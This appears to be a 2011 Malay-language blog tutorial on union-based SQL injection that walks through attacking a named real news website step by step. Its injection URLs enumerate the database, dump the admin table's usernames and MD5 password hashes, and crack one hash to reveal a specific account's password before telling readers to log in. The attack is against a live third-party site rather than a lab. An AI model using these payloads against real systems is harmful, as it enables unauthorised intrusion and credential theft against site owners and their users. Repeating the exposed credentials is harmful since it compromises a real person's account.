Wednesday 13 July 2011

TUTORIAL: SQL Injection (Part 2)

Okey, kali ini mari kita cuba praktikkan apa yang dah dipelajari dari SQL Injection (Part 1)..

Langkah 1 Cari website untuk di inject
Contoh:
www.tartanarmy.com/news/news.php?id=130 (click here)

Langkah 2: Check bug

Tambahkan single quote ( ' ) dibelakang url

www.tartanarmy.com/news/news.php?id=130' (click here)



Jika muncul pesan error seperti di bawah ini, maka web tersebut berkemungkinan boleh di inject:

MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by a.content_order Asc' at line 1)


Langkah 3: Cari jumlah column


Gunakan perintah “order by”  


http://www.tartanarmy.com/news/news.php?id=130 order by 7-- (click here)


Untuk target kali ini, error muncul pada angka 7.

MySQL Error: 1054 (Unknown column '7' in 'order clause')


Jadi, angka yang diambil adalah 7-1 = 6 ( Jumlah column adalah 6)

http://www.tartanarmy.com/news/news.php?id=130 order by 6-- (click here)



Langkah 4: Cari column yang dapat di akses

Guna perintah “union select all”.

Nota: Tambahkan tanda  dash (-) didepan angka parameter id.


http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,2,3,4,5,6-- (click here)


Nombor yang di bold kan adalah column yang lebih vulnerable untuk di inject.
Oleh itu, kita pilih nombor 2


Langkah 5: Cari MySQL Database Version

Gantikan vulnerable column yang dipilih iaitu 2 dengan “@@version” ataupun “version()” kalau  yang pertama tak menjadi.

http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,@@version,3,4,5,6-- (click here)


Hasilnya kita dapat tahu version yang digunakan. Version yang digunakan mestilah 5 dan keatas. Version kurang dari 5 kena guna cara yang lain.


Langkah 6: Cari Table name

Tukarkan vulnerable column nombor kepada “table_name”.


http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,table_name,3,4,5,6 from 
 information_schema.tables where table_schema=database()--
 
(click here)


Untuk dapatkan semua Table, gunakan “group_concat


http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()-- (click here)


Langkah 7: Cari column names

Gantikan “table” dengan “column

http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database()-- (click here)



 Dari situ kita dapat lihat terdapat pengulangan perkataan “id”, ia menunjukkan table number untuk setiap columns


Langkah 8: Dapatkan data dari columns.


Data yang menarik adalah “username” dan “password”, kedua-duanya ada pada table yang pertama iaitu “tar_admin”.

http://www.tartanarmy.com/news/news.php?id=-130 union select all 1,group_concat(username,0x3a,password),3,4,5,6 from tar_admin-- (click here)





Langkah 9: Crack encrypted password

Kita dah dapat dah “username” dan “passwords”, tapi password nya encrypted. Jadi untuk crack password tersebut, boleh lah cuba crack kat http://md5crack.com/crackmd5.php ataupun http://www.md5decrypter.co.uk.
Contohnya :
Username: jaymfc
Password ( encrypted): 48438b67b2ac4e5dc9df6f3723fd4ccd

Hasilnya:
Password: criminal

Langkah 10: Log in
Okey, “username” dah ada, “password” dah ada.. jadi tinggal nak log in je lah.. 

0 comments:

Post a Comment